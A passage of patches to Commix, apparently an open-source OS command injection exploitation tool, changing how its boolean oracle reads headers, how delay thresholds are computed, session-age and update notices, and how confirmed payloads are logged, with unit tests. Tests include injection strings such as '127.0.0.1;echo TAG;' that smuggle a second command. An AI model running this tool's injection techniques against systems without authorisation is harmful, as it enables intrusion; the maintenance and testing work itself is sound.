either side of each such region. DYNAMIC_MARKINGS = [] diff --git a/tests/test_checks.py b/tests/test_checks.py index 2d2125c40c..aaa6fa262f 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1109,3 +1109,57 @@ def test_only_the_one_at_the_front_is_rewritten(self): def test_a_payload_that_does_not_start_with_it_is_left_alone(self): settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" self.assertEqual("'QQE;echo TAG;", checks.payload_with_own_value("'QQE;echo TAG;")) + +class ABooleanAnswerIsReadAgainstTheSameRequest(unittest.TestCase): + """ + What a boolean answer is compared with has to be what the same request returns with no payload. + The page kept at startup is the target as it was given, which stops being that request once a + short random value stands in for the parameter's own - and a target that writes the value back + answers the two differently whatever the payload did. + """ + def setUp(self): + from src.core.requests import requests + self.requests = requests + self._state = (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE, + settings.ORIGINAL_PAGE, settings.STAND_IN_PAGE, settings.STAND_IN_PAGE_FOR) + self._fetch = requests.page_without_payload + self.asked = [] + settings.ORIGINAL_PAGE = "the page as it arrived" + settings.STAND_IN_PAGE, settings.STAND_IN_PAGE_FOR = "", None + + def tearDown(self): + (settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE, + settings.ORIGINAL_PAGE, settings.STAND_IN_PAGE, settings.STAND_IN_PAGE_FOR) = self._state + self.requests.page_without_payload = self._fetch + + def answering(self, page): + def fetch(url, http_request_method): + self.asked.append((url, http_request_method)) + return page + self.requests.page_without_payload = fetch + + def test_the_page_it_arrived_with_is_used_while_it_still_carries_its_own_value(self): + settings.TESTABLE_VALUE_OPTIMIZED = False + self.answering("never asked for") + self.assertEqual("the page as it arrived", checks.comparison_baseline("http://t/", "GET")) + self.assertEqual([], self.asked) + + def test_a_stand_in_is_asked_for_its_own_page_once(self): + settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" + self.answering("the page the stand-in returns") + for _ in range(3): + self.assertEqual("the page the stand-in returns", checks.comparison_baseline("http://t/", "GET")) + self.assertEqual(1, len(self.asked)) + + def test_a_different_stand_in_is_asked_again(self): + settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" + self.answering("first") + checks.comparison_baseline("http://t/", "GET") + settings.TESTABLE_VALUE = "ZZT" + self.answering("second") + self.assertEqual("second", checks.comparison_baseline("http://t/", "GET")) + + def test_a_target_that_will_not_answer_leaves_what_was_already_there(self): + settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" + self.answering(None) + self.assertEqual("the page as it arrived", checks.comparison_baseline("http://t/", "GET")) From 3afd67ef09094ba5cf10ddb2e16a9263f2336600 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 07:48:33 +0200 Subject: [PATCH 0996/1023] Fixed several issues regarding what a decision is read from, affecting the delay threshold and the `--string`, `--not-string` and `--regexp` options --- src/core/controller/checks.py | 33 ++++++-- .../techniques/boolean_based/bb_injector.py | 5 +- src/utils/settings.py | 2 +- tests/test_checks.py | 78 +++++++++++++++++++ 4 files changed, 108 insertions(+), 10 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 39dd09e709..283b803902 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -3290,7 +3290,7 @@ def response_times_unsteady(): on nothing but its latency, which is the one reading this question exists to avoid. Both have to hold: a spread too small to matter is not lagging whatever share of the answer it is. """ - deviation = statistics.pstdev(sample) + deviation = statistics.stdev(sample) return (deviation > settings.SLOW_TARGET_RESPONSE_STDEV and deviation > statistics.mean(sample) * settings.WARN_TIME_RELATIVE_STDEV) @@ -3405,7 +3405,7 @@ def check_lagging(): # says more about the pair than about the connection, so the verdict waits for a model to read. if not settings.LAGGING_CHECKED and len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES // 2: settings.LAGGING_CHECKED = True - deviation = statistics.pstdev(settings.RESPONSE_TIMES) + deviation = statistics.stdev(settings.RESPONSE_TIMES) pace = statistics.mean(settings.RESPONSE_TIMES) """ Read against the target's own pace as well as in seconds of its own. @@ -3430,7 +3430,13 @@ def _delay_threshold_from(times, timesec=None): sample = strip_time_outliers(times) if len(sample) < 2: return None - deviation = statistics.pstdev(sample) + # Taken over one fewer than the sample holds, the way the reference for this takes it: what is in + # hand is a sample of the target's answers rather than all of them, and dividing by the count + # understates how far the rest of them spread. The coefficient this is multiplied by was chosen + # for that estimator, so taking it the other way quietly narrows the margin it stands for - a + # tenth of it on the five answers a probe model starts from, which is the model a delay asked for + # is read against. + deviation = statistics.stdev(sample) mean = statistics.mean(sample) """ A sample that does not vary is a steady target, not an unusable one. Answering "no threshold" @@ -4953,14 +4959,27 @@ def boolean_oracle_given(): The answer a target gives where it branches on the command rather than printing what it returned - the page it renders, or the status it answers with, stands in for the output a blind sink withholds. """ -def boolean_oracle(page, code=None, page_length=None): +def boolean_oracle(page, code=None, page_length=None, headers=None): + """ + Read against the headers as well as the body, the way the reference for this reads it: what tells + a true answer from a false one is as often something the application set in a header - a cookie + it drops, a location it redirects to, a length it reports - as anything it rendered, and a body + read on its own never sees it. The pattern is matched the way that one matches it too, without + regard to case and with '^' and '$' reading the lines of the answer rather than the whole of it. + """ + answered = page or "" + if headers: + try: + answered = "".join(str(line) for line in headers.headers) + answered + except AttributeError: + answered = str(headers) + answered if menu.options.string: - return menu.options.string in (page or "") + return menu.options.string in answered if menu.options.not_string: - return menu.options.not_string not in (page or "") + return menu.options.not_string not in answered if menu.options.regexp: try: - return bool(re.search(menu.options.regexp, page or "")) + return bool(re.search(menu.options.regexp, answered, re.IGNORECASE | re.MULTILINE)) except re.error: return None if menu.options.code is not None: diff --git a/src/core/techniques/boolean_based/bb_injector.py b/src/core/techniques/boolean_based/bb_injector.py index a34be14572..ad5201e336 100644 --- a/src/core/techniques/boolean_based/bb_injector.py +++ b/src/core/techniques/boolean_based/bb_injector.py @@ -61,13 +61,14 @@ def answer(payload, prefix, suffix, whitespace, http_request_method, url, vuln_p length = None else: response.close() - return checks.boolean_oracle(None, code, page_length=length), vuln_parameter + return checks.boolean_oracle(None, code, page_length=length, headers=response.info()), vuln_parameter try: page = checks.remove_reflected_values(checks.decode_page_body(response.read(), response), payload) code = response.getcode() + answered_headers = response.info() except Exception: return None, vuln_parameter - return checks.boolean_oracle(page, code), vuln_parameter + return checks.boolean_oracle(page, code, headers=answered_headers), vuln_parameter """ The page a question came back with, for learning what a yes and a no look like on this target. diff --git a/src/utils/settings.py b/src/utils/settings.py index d611f5972a..a57d97f49a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "322" +REVISION = "323" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_checks.py b/tests/test_checks.py index aaa6fa262f..450d9c43a9 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1163,3 +1163,81 @@ def test_a_target_that_will_not_answer_leaves_what_was_already_there(self): settings.TESTABLE_VALUE_OPTIMIZED, settings.TESTABLE_VALUE = True, "QQE" self.answering(None) self.assertEqual("the page as it arrived", checks.comparison_baseline("http://t/", "GET")) + +class TheDelayThresholdIsTakenOverASample(unittest.TestCase): + """ + The answers in hand are a sample of what the target does, not all of it, so the spread is taken + over one fewer than there are. The coefficient the spread is multiplied by was chosen for that + estimator; taking it over the count instead narrows the margin without saying so. + """ + def setUp(self): + self._state = (list(settings.RESPONSE_TIMES), list(settings.PROBE_RESPONSE_TIMES), + menu.options.disable_stats) + menu.options.disable_stats = False + settings.PROBE_RESPONSE_TIMES = [] + + def tearDown(self): + (settings.RESPONSE_TIMES, settings.PROBE_RESPONSE_TIMES, menu.options.disable_stats) = self._state + + def test_the_margin_is_the_wider_of_the_two_estimators(self): + # A sample whose own spread is what the margin is made of, rather than one where the share of + # the target's pace below it is the larger of the two and the estimator changes nothing. + import statistics + times = [0.4, 0.9, 0.5, 1.2, 0.6, 0.7, 0.5, 1.1, 0.8, 0.6, 0.9, 0.5, 0.7, 1.0, 0.6] + settings.RESPONSE_TIMES = list(times) + threshold = checks.current_delay_threshold() + mean = statistics.mean(times) + population = mean + settings.TIME_STDEV_COEFF * statistics.pstdev(times) + sample = mean + settings.TIME_STDEV_COEFF * statistics.stdev(times) + self.assertAlmostEqual(sample, threshold, places=6) + self.assertGreater(threshold, population) + + def test_a_sample_too_small_to_spread_has_no_threshold_of_its_own(self): + settings.RESPONSE_TIMES = [0.5] + self.assertIsNone(checks.current_delay_threshold()) + +class TheOracleReadsTheWholeAnswer(unittest.TestCase): + """ + What tells a true answer from a false one is as often something the application set in a header + as anything it rendered, so the whole answer is read - and a pattern is matched the way the + reference for this matches one, without regard to case and line by line. + """ + class Headers(object): + def __init__(self, lines): + self.headers = lines + + def setUp(self): + self._state = (menu.options.string, menu.options.not_string, menu.options.regexp, + menu.options.code, menu.options.lengths) + menu.options.string = menu.options.not_string = menu.options.regexp = None + menu.options.code = None + menu.options.lengths = False + + def tearDown(self): + (menu.options.string, menu.options.not_string, menu.options.regexp, + menu.options.code, menu.options.lengths) = self._state + + def headers(self): + return self.Headers(["Set-Cookie: answered=yes\r\n", "Server: Apache\r\n"]) + + def test_a_string_is_looked_for_in_the_headers_as_well(self): + menu.options.string = "answered=yes" + self.assertTrue(checks.boolean_oracle("nothing in the body", headers=self.headers())) + self.assertFalse(checks.boolean_oracle("nothing in the body")) + + def test_a_string_that_is_not_to_be_there_counts_the_headers_too(self): + menu.options.not_string = "answered=yes" + self.assertFalse(checks.boolean_oracle("nothing in the body", headers=self.headers())) + + def test_a_pattern_reads_the_headers_and_ignores_case(self): + menu.options.regexp = r"set-cookie: ANSWERED" + self.assertTrue(checks.boolean_oracle("nothing in the body", headers=self.headers())) + + def test_a_pattern_anchors_on_the_lines_of_the_answer(self): + # '^' reading the whole answer rather than each of its lines matches nothing below the first. + menu.options.regexp = r"^Server: Apache" + self.assertTrue(checks.boolean_oracle("", headers=self.headers())) + + def test_a_pattern_that_does_not_compile_answers_nothing(self): + menu.options.regexp = "([unclosed" + self.assertIsNone(checks.boolean_oracle("body", headers=self.headers())) From 4723375cb01824a5f798e294ccde9f295d2604d5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:13:29 +0200 Subject: [PATCH 0997/1023] Added a notice at the end of a run where the copy running it has gone more than 180 days without an update, naming how long it has been --- src/core/controller/checks.py | 3 ++ src/utils/settings.py | 6 +++- src/utils/version.py | 27 +++++++++++++++ tests/test_version.py | 65 +++++++++++++++++++++++++++++++++++ 4 files changed, 100 insertions(+), 1 deletion(-) create mode 100644 tests/test_version.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 283b803902..d3bf75d61f 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -36,6 +36,7 @@ from glob import glob from src.utils import common from src.utils import logs +from src.utils import version from src.utils import crypt_algos from src.utils import jwt_audit from src.core.parse import cmdline as menu @@ -68,6 +69,8 @@ Exiting, with the code the run ended on - which is how a caller tells an error from a finished run. """ def exit(code=0): + # Said before the line that closes the run, so it is the last thing about the run itself. + version.announce_if_outdated() if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Ending")) # Nothing runs after the line below, so the report is settled before it. diff --git a/src/utils/settings.py b/src/utils/settings.py index a57d97f49a..6763b5aba3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,11 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "323" +REVISION = "324" + +# How long an install may go without being updated before the run says so at the end. Read off the +# files on disk rather than asked of anyone, so a run that never reaches the network still knows. +LAST_UPDATE_NAGGING_DAYS = 180 STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/version.py b/src/utils/version.py index bd5ecbae20..48422d0dce 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -13,7 +13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ +import os import sys +import time from src.utils import settings """ @@ -23,6 +25,31 @@ def show_version(): settings.print_data_to_stdout(settings.VERSION) raise SystemExit() +""" +How long this install has gone without being updated, in whole days. + +Taken from when the file holding the version was last written, which an update rewrites - so what +is measured is the install itself rather than anything a server would have to be asked for. None +where that cannot be read at all, which is a copy that says nothing about its own age rather than +one that is up to date. +""" +def days_since_update(): + try: + return int(time.time() - os.path.getmtime(os.path.abspath(settings.__file__.replace(".pyc", ".py")))) // (3600 * 24) + except (OSError, AttributeError, TypeError): + return None + +""" +Said at the end of the run, where what it is about is the install rather than the target. +""" +def announce_if_outdated(): + days = days_since_update() + if days is None or days <= settings.LAST_UPDATE_NAGGING_DAYS: + return + warn_msg = "This copy of " + settings.APPLICATION + " was last updated " + str(days) + warn_msg += " days ago. Run it with the '--update' switch to bring it up to date." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Check python version number. """ diff --git a/tests/test_version.py b/tests/test_version.py new file mode 100644 index 0000000000..e15ee958e5 --- /dev/null +++ b/tests/test_version.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.utils import version + +class HowLongSinceThisCopyWasUpdated(unittest.TestCase): + """ + Read off the files on disk rather than asked of a server, so a run that never reaches the network + still knows how old the copy running it is. + """ + def setUp(self): + self._out = settings.print_data_to_stdout + self._days = version.days_since_update + self.said = [] + settings.print_data_to_stdout = self.said.append + + def tearDown(self): + settings.print_data_to_stdout = self._out + version.days_since_update = self._days + + def answering(self, days): + version.days_since_update = lambda: days + + def written(self): + return settings.strip_ansi_codes("\n".join(str(line) for line in self.said)) + + def test_the_age_is_a_whole_number_of_days(self): + days = version.days_since_update() + self.assertIsInstance(days, int) + self.assertGreaterEqual(days, 0) + + def test_a_copy_within_the_allowance_says_nothing(self): + self.answering(settings.LAST_UPDATE_NAGGING_DAYS) + version.announce_if_outdated() + self.assertEqual("", self.written()) + + def test_a_copy_past_it_says_how_many_days(self): + self.answering(settings.LAST_UPDATE_NAGGING_DAYS + 34) + version.announce_if_outdated() + written = self.written() + self.assertIn(str(settings.LAST_UPDATE_NAGGING_DAYS + 34) + " days ago", written) + self.assertIn("'--update'", written) + + def test_a_copy_that_cannot_say_its_own_age_says_nothing(self): + self.answering(None) + version.announce_if_outdated() + self.assertEqual("", self.written()) + +if __name__ == "__main__": + unittest.main() From ed07e78ad6508d7a5da83e880d88924ffa099fc6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:14:26 +0200 Subject: [PATCH 0998/1023] Fixed several issues regarding what a run leaves unsaid, affecting findings replayed from an old session file and the `--tor` switch combined with `--ignore-proxy` --- src/core/controller/checks.py | 18 ++++++++++++++++++ src/core/options.py | 7 +++++++ src/utils/logs.py | 12 ++++++++++++ src/utils/settings.py | 9 ++++++++- tests/test_version.py | 36 +++++++++++++++++++++++++++++++++++ 5 files changed, 81 insertions(+), 1 deletion(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d3bf75d61f..3925169a96 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2183,6 +2183,24 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): def resumed_injection_points_summary(rows): # Stored payloads are url-encoded, unlike the ones held in memory this run. _injection_points_summary("Resumed the following injection point(s) from stored session:", rows, decode_payload=True) + announce_stale_session() + +""" +Said where what was just shown was read back rather than found. + +Nothing above it was sent to the target this run, so how old the file it came out of is, is the +only thing that says how much of it still holds - a target that was patched a month ago answers +the same stored finding as one that was not. Read off that file, the way the age of the install +itself is read off its own. +""" +def announce_stale_session(): + days = settings.SESSION_FILE_AGE_DAYS + if days is None or days < settings.STALE_SESSION_DAYS: + return + warn_msg = "What is above was read back from a session file last written to " + str(days) + warn_msg += " days ago, so it may no longer hold. Re-run with the '--flush-session' switch to " + warn_msg += "test again, or '--ignore-session' to leave what is stored out of it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print a summary of every injection point confirmed this run, deferred until quit() (one block per technique). diff --git a/src/core/options.py b/src/core/options.py index 7a0785fc69..3f978996d2 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -81,6 +81,13 @@ def validate(): if menu.options.answers: settings.ANSWERS = menu.options.answers + # Asked for a proxy and told to ignore one: the switch sets a proxy of its own, which the option + # then discards, so what runs is a plain run that was asked to be anything but. + if menu.options.tor and menu.options.ignore_proxy: + err_msg = "The switch '--tor' is incompatible with switch '--ignore-proxy'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + # Check if defined "--proxy" option. if menu.options.proxy: if menu.options.tor: diff --git a/src/utils/logs.py b/src/utils/logs.py index cac96b26a4..679fcb68a6 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -13,6 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ import os +import time import sys import json import shlex @@ -106,6 +107,17 @@ def create_log_file(url, output_dir): else: settings.SESSION_FILE = logs_path + "session.db" + """ + How old the stored findings were before this run touched them. + + Taken here because a run that replays one writes to the file as it goes, so by the time anything + is reported the file is this run's own age rather than the findings'. + """ + try: + settings.SESSION_FILE_AGE_DAYS = int(time.time() - os.path.getmtime(settings.SESSION_FILE)) // (3600 * 24) + except (OSError, TypeError, ValueError): + settings.SESSION_FILE_AGE_DAYS = None + checks.load_cmd_history() # The logs filename construction. diff --git a/src/utils/settings.py b/src/utils/settings.py index 6763b5aba3..55bca791f7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,11 +500,18 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "324" +REVISION = "325" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. LAST_UPDATE_NAGGING_DAYS = 180 + +# How old a stored finding may be before a run that replayed it says so. Read the same way, off the +# file the findings were written to rather than asked of anything. +STALE_SESSION_DAYS = 7 + +# How old the session file was before this run wrote anything to it, or None where there was none. +SESSION_FILE_AGE_DAYS = None STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_version.py b/tests/test_version.py index e15ee958e5..44a3c907f9 100644 --- a/tests/test_version.py +++ b/tests/test_version.py @@ -63,3 +63,39 @@ def test_a_copy_that_cannot_say_its_own_age_says_nothing(self): if __name__ == "__main__": unittest.main() + +class HowOldTheStoredFindingsWere(unittest.TestCase): + """ + Nothing shown from a session was sent to the target this run, so how old the file it came out of + is, is the only thing that says how much of it still holds. + """ + def setUp(self): + from src.core.controller import checks + self.checks = checks + self._state = (settings.SESSION_FILE_AGE_DAYS, settings.print_data_to_stdout) + self.said = [] + settings.print_data_to_stdout = self.said.append + + def tearDown(self): + (settings.SESSION_FILE_AGE_DAYS, settings.print_data_to_stdout) = self._state + + def written(self): + return settings.strip_ansi_codes("\n".join(str(line) for line in self.said)) + + def test_a_session_written_today_says_nothing(self): + settings.SESSION_FILE_AGE_DAYS = settings.STALE_SESSION_DAYS - 1 + self.checks.announce_stale_session() + self.assertEqual("", self.written()) + + def test_an_old_one_says_how_old_and_what_to_do(self): + settings.SESSION_FILE_AGE_DAYS = 23 + self.checks.announce_stale_session() + written = self.written() + self.assertIn("23 days ago", written) + self.assertIn("'--flush-session'", written) + self.assertIn("'--ignore-session'", written) + + def test_a_run_with_no_session_behind_it_says_nothing(self): + settings.SESSION_FILE_AGE_DAYS = None + self.checks.announce_stale_session() + self.assertEqual("", self.written()) From 532e260e5292b19f591a4eb36d4880d14c05235a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 12 Nov 2026 08:15:29 +0200 Subject: [PATCH 0999/1023] Fixed several issues regarding the way a confirmed payload is written out, affecting the log file, the report `--report-json` writes, runs using tamper scripts and findings resumed from a stored session --- src/core/controller/checks.py | 36 ++++++++-- src/core/controller/controller.py | 6 ++ src/utils/logs.py | 10 ++- src/utils/session_handler.py | 6 ++ src/utils/settings.py | 2 +- tests/test_checks.py | 37 ++++++++++ tests/test_controller.py | 21 ++++++ tests/test_logs.py | 114 ++++++++++++++++++++++++++++++ tests/test_session.py | 27 +++++++ 9 files changed, 251 insertions(+), 8 deletions(-) create mode 100644 tests/test_logs.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 3925169a96..65ec31cf96 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2138,13 +2138,36 @@ def target_fingerprint_summary(): wants the value the target was given - which the sink ignores either way, since not needing it is why it was dropped. Only the one at the front is rewritten; anything further in belongs to the payload itself. + +A tamper script rewrites the stand-in along with everything else it is given, so the three letters +are no longer there to be found - and the payload would be written out carrying them while an +untampered one is written out carrying the value, which is the difference this is here to remove. +Putting the same scripts over the stand-in on its own says what they made of it, and what they make +of the real value goes back in its place. A script that reads more of a payload than the part it +rewrites leaves the two unable to line up, and the payload is then left as it is rather than +guessed at. """ def payload_with_own_value(payload): payload = str(payload) original, placeholder = settings.TESTABLE_VALUE_STOOD_IN_FOR, settings.TESTABLE_VALUE - if not original or not placeholder or not payload.startswith(placeholder): + if not original or not placeholder or original == placeholder: + return payload + if payload.startswith(placeholder): + return original + payload[len(placeholder):] + if not settings.MULTI_ENCODED_PAYLOAD: return payload - return original + payload[len(placeholder):] + # The scripts are handed a value rather than a payload here, so what they record about the last + # one they rewrote is put back - nothing else is meant to read this as a payload that was sent. + raw_payload = settings.RAW_PAYLOAD + try: + stood_in = perform_payload_modification(placeholder) + if stood_in != placeholder and payload.startswith(stood_in): + return perform_payload_modification(original) + payload[len(stood_in):] + except Exception: + pass + finally: + settings.RAW_PAYLOAD = raw_payload + return payload def _injection_points_summary(header_msg, rows, decode_payload=False): settings.print_data_to_stdout(header_msg) @@ -2157,9 +2180,12 @@ def _injection_points_summary(header_msg, rows, decode_payload=False): if current_parameter != prev_parameter: settings.print_data_to_stdout(finding_parameter_line(vuln_parameter, http_request_method)) prev_parameter = current_parameter + # A row read back from a stored session holds the payload as it was sent, so the value goes in + # here. One confirmed this run had that settled as it was recorded, while the parameter it was + # found on was still the one being tested - by the time this prints, another parameter's own + # value is what is on record, and a second rewrite here would read the wrong one back. if decode_payload: - payload = str(url_decode(payload)) - payload = payload_with_own_value(payload) + payload = payload_with_own_value(str(url_decode(payload))) for line in finding_summary_lines(technique, injection_type, payload): settings.print_data_to_stdout(line) """ @@ -7059,7 +7085,7 @@ def announce_vulnerable_finding(filename, injection_type, technique, the_type, h announce_leftover_file(technique) decoded_payload = str(url_decode(payload)) if decode_payload else payload if not settings.LOAD_SESSION: - settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, decoded_payload, display_method, settings.TOTAL_OF_REQUESTS, title)) + settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, payload_with_own_value(decoded_payload), display_method, settings.TOTAL_OF_REQUESTS, title)) """ Whether the output file still answers on its URL. Only the file-based technique has one to ask, so diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index a0bb9e3f2f..cde5f8ad81 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -118,6 +118,10 @@ def reset_parameter_state(): settings.VALUE_ENCODING = None # Whether a parameter needs the value it was given is asked of that parameter alone. settings.TESTABLE_VALUE_OPTIMIZED = False + # And what stood in for the last parameter's value says nothing about this one's, which is tested + # with its own until a probe of its own drops it - a finding of this parameter's written out with + # the last one's value in front of it names a request nobody sent. + settings.TESTABLE_VALUE_STOOD_IN_FOR = "" # Narrowed below for one parameter at a time, and put back here so the next one is tested with # the techniques the run was given rather than with what the last parameter settled on. if settings.TECHNIQUES_BEFORE_NARROWING is None: @@ -1400,6 +1404,8 @@ def _accepts_dashless_retry(): settings.VALUE_SKIP_REFUSED = True settings.TESTABLE_VALUE_OPTIMIZED = False settings.TESTABLE_VALUE = original_value + # Nothing stood in for it in the end, so nothing is left to write back into a payload. + settings.TESTABLE_VALUE_STOOD_IN_FOR = "" menu.options.data = original_data url = original_url if settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/logs.py b/src/utils/logs.py index 679fcb68a6..23c4a73171 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -318,11 +318,17 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p else: add_line(filename, "", group="findings") payload = str(checks.url_decode(payload)).replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) - for line in checks.finding_summary_lines(technique, injection_type, payload, title): + # The same line the summary prints, so a finding read out of a file and one read off the screen + # cannot say different things about what was sent. The command below is built from the payload as + # it went out instead, since a stand-in the sink ignores is still what reproduces the finding. + reported = checks.payload_with_own_value(payload) + for line in checks.finding_summary_lines(technique, injection_type, reported, title): add_line(filename, settings.strip_ansi_codes(line), group="findings") # Built here rather than when the report is written, since the cookies and headers move during a run. command = reproduce.curl_command(menu.options.url, http_request_method, vuln_parameter, payload) caveats = reproduce.curl_command_caveats() if command else [] + if command and reported != payload: + caveats.append("the sink did not need the parameter's own value, so this command carries the '" + settings.TESTABLE_VALUE + "' that was sent in its place") if command: add_line(filename, settings.strip_ansi_codes(settings.SUB_CONTENT_SIGN_TYPE + "Reproduce: " + command), group="findings") for caveat in caveats: @@ -335,7 +341,7 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p "technique": checks.summary_technique_label(technique), "type": injection_type[0].upper() + injection_type[1:], "boundary": title, - "payload": payload, + "payload": reported, } if command: finding["reproduce"] = command diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 6d5fae9a90..039dac727e 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -1033,6 +1033,12 @@ def reapply_testable_value(url, vuln_parameter, http_request_method, prefix=None prefix = placeholder else: announce_replay_conflict(prefix, menu.options.prefix, "prefix", "--prefix") + # The address replayed here is the stored finding's own, carrying the stand-in rather than the + # value - so what the run was given is read off the value this still holds, one line before the + # stand-in takes its place. Without it a resumed finding is written out carrying three letters + # where the run that first found it wrote the value. + if settings.TESTABLE_VALUE and settings.TESTABLE_VALUE != placeholder: + settings.TESTABLE_VALUE_STOOD_IN_FOR = settings.TESTABLE_VALUE settings.TESTABLE_VALUE = placeholder settings.TESTABLE_VALUE_OPTIMIZED = True return (url, prefix) if prefix is not None else url diff --git a/src/utils/settings.py b/src/utils/settings.py index 55bca791f7..8a348d8b1a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "325" +REVISION = "326" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_checks.py b/tests/test_checks.py index 450d9c43a9..7d01d1c8b0 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1110,6 +1110,43 @@ def test_a_payload_that_does_not_start_with_it_is_left_alone(self): settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" self.assertEqual("'QQE;echo TAG;", checks.payload_with_own_value("'QQE;echo TAG;")) + def test_a_parameter_tested_with_its_own_value_is_left_alone(self): + # Where the two are the same there was no stand-in, whatever a value carried over from an + # earlier parameter happens to say. + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "127.0.0.1", "127.0.0.1" + self.assertEqual("127.0.0.1;echo TAG;", checks.payload_with_own_value("127.0.0.1;echo TAG;")) + +class ATamperedStandInIsStillWrittenOutAsTheValue(unittest.TestCase): + """ + A tamper script rewrites the stand-in along with the rest of the payload it is given, so looking + for the three letters at the front finds nothing and the finding goes out carrying them - beside + an untampered one that goes out carrying the value, which is the whole of what this is for. + """ + def setUp(self): + self._state = (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.MULTI_ENCODED_PAYLOAD, settings.TARGET_OS, settings.RAW_PAYLOAD) + settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR = "QQE", "127.0.0.1" + settings.TARGET_OS = settings.OS.UNIX + settings.MULTI_ENCODED_PAYLOAD = ["uninitializedvariable"] + + def tearDown(self): + (settings.TESTABLE_VALUE, settings.TESTABLE_VALUE_STOOD_IN_FOR, + settings.MULTI_ENCODED_PAYLOAD, settings.TARGET_OS, settings.RAW_PAYLOAD) = self._state + + def test_the_script_rewrites_the_stand_in_too(self): + # What makes the plain search for it fail in the first place. + self.assertNotIn("QQE", checks.perform_payload_modification("QQE;echo TAG;")) + + def test_the_value_goes_back_where_the_tampered_stand_in_was(self): + sent = checks.perform_payload_modification("QQE;echo TAG;") + written = checks.payload_with_own_value(sent) + self.assertTrue(written.startswith("127.0.0.1;")) + 